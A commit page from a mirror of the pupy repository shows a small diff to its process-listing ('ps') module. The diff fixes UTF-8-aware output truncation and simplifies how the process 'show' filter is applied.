mirror of https://github.com/n1nj4sec/pupy.git
Minor fixes in ps module
This commit is contained in:
parent
9511a8ab7c
commit
8f64c765e0
|
@ -54,7 +54,8 @@ def gen_output_line(columns, info, record, width):
|
||||||
template = ' '.join('{{{}}}'.format(x) for x in info)
|
template = ' '.join('{{{}}}'.format(x) for x in info)
|
||||||
output = template.format(**columns)
|
output = template.format(**columns)
|
||||||
if width:
|
if width:
|
||||||
output = output[:width]
|
diff = len(output) - len(output.decode('utf-8', 'replace'))
|
||||||
|
output = output[:width+diff]
|
||||||
|
|
||||||
if color:
|
if color:
|
||||||
output = colorize(output, color)
|
output = colorize(output, color)
|
||||||
|
@ -164,9 +165,6 @@ class PsModule(PupyModule):
|
||||||
hide = [
|
hide = [
|
||||||
int(x) if x.isdigit() else x for x in args.hide
|
int(x) if x.isdigit() else x for x in args.hide
|
||||||
]
|
]
|
||||||
show = [
|
|
||||||
int(x) if x.isdigit() else x for x in args.show
|
|
||||||
]
|
|
||||||
|
|
||||||
if not args.all and self.client.is_linux():
|
if not args.all and self.client.is_linux():
|
||||||
hide.append(2)
|
hide.append(2)
|
||||||
|
@ -175,7 +173,7 @@ class PsModule(PupyModule):
|
||||||
info = [ 'username', 'cpu_percent', 'memory_percent' ] + info
|
info = [ 'username', 'cpu_percent', 'memory_percent' ] + info
|
||||||
|
|
||||||
if args.tree:
|
if args.tree:
|
||||||
show = show or [ root ]
|
show = args.show or [ root ]
|
||||||
|
|
||||||
for item in show:
|
for item in show:
|
||||||
print_pstree(
|
print_pstree(
|
||||||
|
@ -184,7 +182,10 @@ class PsModule(PupyModule):
|
||||||
hide=hide, first=(item == root)
|
hide=hide, first=(item == root)
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
data = [ x for x in data if x in args.show ] if args.show else data
|
data = {
|
||||||
|
x:y for x,y in data.iteritems() if x in args.show
|
||||||
|
} if args.show else data
|
||||||
|
|
||||||
print_ps(
|
print_ps(
|
||||||
self.stdout, data, width=None if args.wide else width,
|
self.stdout, data, width=None if args.wide else width,
|
||||||
colinfo=colinfo, info=info, hide=hide
|
colinfo=colinfo, info=info, hide=hide
|
||||||
|
|
Loading…
Reference in New Issue